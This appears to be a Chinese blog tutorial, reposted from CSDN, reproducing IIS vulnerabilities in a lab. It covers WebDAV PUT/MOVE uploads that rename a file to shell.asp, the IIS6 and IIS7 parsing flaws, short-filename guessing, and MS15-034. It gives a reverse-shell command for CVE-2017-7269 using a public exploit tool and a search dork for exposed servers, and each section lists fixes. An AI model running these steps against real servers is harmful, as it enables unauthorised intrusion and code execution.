IIS6.0
IIS6.0任意文件写入
IlS Server 在 Web 服务扩展中开启了 WebDAV,配置了可以写入的权限,造成任意文件上传。
漏洞复现
fofa:"llS-6.0" or
本地搭建2003 server
1)开启 WebDAV 和写权限:
做好准备工作后开启环境,然后我们去访问配置的IP,访问到如下页面
然后开启抓包刷新页面,在抓到的数据包后将其发送到重放器,将请求方式改为OPTIONS后点击发送,在返回包中就可以看到可以使用的请求方式
这里可以直接用PUT方式上传文件,但是不能上传脚本文件,所以为了上传脚本,我们可以先上传一个普通的1.txt文件,然后利用move方式将其改名为脚本文件的格式
其中PUT /后面跟上我们要上传的文件名,然后在最后一行写上我们要上传的文件的内容,将多余的请求数据都删除,只留下请求头,host以及长度和内容,然后点击发送,出现201则上传成功
我们回到靶机中刷新查看也发现上传成功
然后将请求方式改为MOVE后,将数据包改为如下内容后再次点击上传,shell.asp是想改为的名字
MOVE /2.txt HTTP/1.1
Host: 192.168.159.131
Destination: http://192.168.159.131/shell.asp
我们到靶机中查看,成功上传
漏洞修复
1.关闭webdav ;2.关闭写⼊权限 。
IIS6.0解析漏洞
在iis6.x版本中存在可以将任意文件当作asp文件解析的漏洞,我们在网站目录下创建一个名为1.asp的文件夹,则在其中的任何文件都会当作asp文件去运行,如下
先在默认网站中右键,点击打开
然后在这里创建一个1.asp的文件夹,再创建一个内容为<%=now()%>(这个函数为查看当前时间)的txt文件,将1.txt放入1.asp中,然后用物理机去访问,即可得到当前时间
用ipconfig查看虚拟机IP后去物理机访问192.168.209.133/1.asp/1.txt
二.IIS6.x(2)
当我们在网站目录下创建一个名为1.asp.;.jpg的文件,内容同样为<%=now()%>,当我们去访问时,也会得到当前时间,这证明该文件虽然后缀名为jpg,但是他也会被当作asp文件运行。
IIS短⽂件漏洞
漏洞复现
IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE⽅法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进⾏复现。
漏洞防御
1. 升级.net framework ;2. 修改注册表键值:a. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation为1。b. 修改完成后,需要重启系统⽣效。c. 命令⾏关闭 fsutil behavior set disable8dot3 1 。d. 新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。e. 注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建,已经存在的⽂件的短⽂件名⽆法移除,需要重新复制才会消 失。如果不重新复制,已经存在的短⽂件名则是不会消失的。f. 将web⽂件夹的内容拷⻉到另⼀个位置,如c:\www到c:\ww,然后删除原⽂件夹,再重命名c:\ww到 c:\www。
IIS RCE-CVE-2017-7269
漏洞复现-反弹shell
同样的,我们再windowserver2003中的iis服务
这里需要用到一个工具,下载链接为:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
将其下载到kali中后,利用如下命令运行工具
python2 '/root/Desktop/iis6-exploit-2017-CVE-2017-7269-master/iis6-exploit-2017-CVE-2017-7269-master/iis6 reverse shell' 192.168.159.131 80 192.168.159.129 4455
其中第一个ip是我们靶机的ip,也就是server2003的IP,第二个ip为攻击机-也就是kali的IP,以及kali开启监听的端口,开启监听后直接运行命令,稍微等待后即可成功反弹到shell
漏洞防御
1.关闭 WebDav服务 ;2.升级 ;3.部署安全设备 。
IIS 7x
IIS7⽂件解析漏洞
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。接下来我们尝试复现,首先打开配置文件php.ini,查找cgi.fix_pathinfo=1,将前面的分号;删除
然后到网站目录下创建一个名为1.jpg的文件,右键用记事本打开,内容改为<?php phpinfo(); ?>,保存后访问
在url后面加上/1.jpg/.php,这个jpg文件就会被当作php文件去运行
HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034
漏洞复现
这次我们去windowserver2012中开启iis服务作为我们的靶机
漏洞修复
安装修复补丁(KB3042553)
转载自CSDN-专业IT技术社区
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/C233333235/article/details/141000346